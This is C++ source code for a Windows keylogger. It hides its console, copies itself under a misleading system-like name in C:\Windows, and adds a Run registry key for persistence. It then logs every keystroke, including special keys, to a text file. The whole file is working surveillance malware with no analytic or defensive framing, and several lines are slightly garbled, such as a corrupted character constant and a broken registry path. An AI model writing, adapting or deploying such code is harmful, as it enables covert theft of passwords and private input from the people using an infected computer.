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#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Advapi32.lib")

/* Based on https://github.com/EgeBalci/Keylogger */

using namespace std;

char logfile[] = "log.txt";

char oldfile[] = "key.exe";
char newfile[] = "C:\\Windows\\vmx32to64.exe";

void LOG(string input) {
    fstream LogFile;
    LogFile.open(logfile, fstream::app);
    if (LogFile.is_open()) {
        LogFile << input;
        LogFile.close();
    }
}

bool SpecialKeys(int S_Key) {
    switch (S_Key) {
        case VK_SPACE:
            cout << " ";
            LOG(" ");
            return true;
        case VK_RETURN:
            cout << "\n";
            LOG("\n");
            return true;
        case 'Ã,Â¾':
            cout << ".";
            LOG(".");
            return true;
        case VK_SHIFT:
            cout << "#SHIFT#";

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        LOG("#SHIFT#");
        return true;
case VK_BACK:
    cout << "\b";
    LOG("\b");
    return true;
case VK_RBUTTON:
    cout << "#R_CLICK#";
    LOG("#R_CLICK#");
    return true;
case VK_CAPITAL:
    cout << "#CAPS_LOCK#";
    LOG("#CAPS_LOCK");
    return true;
case VK_TAB:
    cout << "#TAB";
    LOG("#TAB");
    return true;
case VK_UP:
    cout << "#UP";
    LOG("#UP_ARROW_KEY");
    return true;
case VK_DOWN:
    cout << "#DOWN";
    LOG("#DOWN_ARROW_KEY");
    return true;
case VK_LEFT:
    cout << "#LEFT";
    LOG("#LEFT_ARROW_KEY");
    return true;
case VK_RIGHT:
    cout << "#RIGHT";
    LOG("#RIGHT_ARROW_KEY");
    return true;
case VK_CONTROL:
    cout << "#CONTROL";
    LOG("#CONTROL");
    return true;
case VK_MENU:
    cout << "#ALT";
    LOG("#ALT");
    return true;
Default:
    return false;

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    }
}

int main()
{
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    char KEY = 'x';

    /* COPY PROGRAM TO MISLEADING LOCATION */
    CopyFile(oldfile, newfile, FALSE);

    /* CREATE RUN KEY IN REGISTRY */

    TCHAR runPath[35] = TEXT("C:\\Windows\\vmx32to64.exe");
    HKEY newValue;
    RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\
\\Run", &newValue);
    RegSetValueEx(newValue, "vmx32to64", 0, REG_SZ, (LPBYTE)runPath, sizeof(runPath));
    RegCloseKey(newValue);

    while (true) {
        Sleep(10);
        for (int KEY = 8; KEY <= 190; KEY++)
        {
            if (GetAsyncKeyState(KEY) == -32767) {
                if (SpecialKeys(KEY) == false) {
                    fstream LogFile;
                    LogFile.open(logfile, fstream::app);
                    if (LogFile.is_open()) {
                        LogFile << char(KEY);
                        LogFile.close();
                    }
                }
            }
        }
    }
    return 0;
}

```